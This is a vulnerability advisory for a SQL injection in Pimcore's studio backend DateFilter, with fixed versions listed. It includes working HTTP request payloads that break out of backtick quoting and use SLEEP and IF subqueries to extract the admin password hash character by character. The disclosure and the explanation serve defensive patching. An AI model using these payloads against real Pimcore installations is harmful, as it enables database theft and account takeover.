pimcore/studio-backend-bundle
Affected
- introduced
0, fixed2025.4.6(ecosystem)
Fixed versions
2025.4.6
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-55208
Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes
Summary
An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.
Vulnerability Details
Exploitable: DateFilter with Fixed Named Parameters
src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:
$key = $column->getKey(); // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);
Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.
Same Pattern in Note FilterService
src/Note/Service/FilterService.php lines 64-67:
$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);
No Validation on Column Key
src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.
Why Backtick Wrapping is Not Escaping
Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:
Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "
Produces:
(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime)
Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.
Contrast with Safe Patterns in the Same Codebase
LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)Note on EqualsFilter/LikeFilter
The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.
Step 1: Baseline request (no injection)
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10}
Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds
<img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" />
Step 2: Unconditional SLEEP(3) injection
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds
<img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" />
<img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" />
The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:
SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50
Step 3: Conditional SLEEP proving data extraction (TRUE case)
This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)
<img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" />
<img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" />
Step 4: Conditional SLEEP (FALSE case, wrong guess)
Same query but testing for XXXX (hex 0x58585858) instead:
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)
<img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" />
Timing comparison
| Request | Payload | Response Time | Meaning |
|---------|---------|---------------|---------|
| Baseline | No injection | 0.07s | Normal |
| Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed |
| Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt |
| Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |
By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.
High Basis: The source's own band: HIGH
0, fixed 2025.4.6 (ecosystem)2025.4.6
The export has no generic command for this ecosystem.
2026.1.0, fixed 2026.1.6 (ecosystem)2026.1.6
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0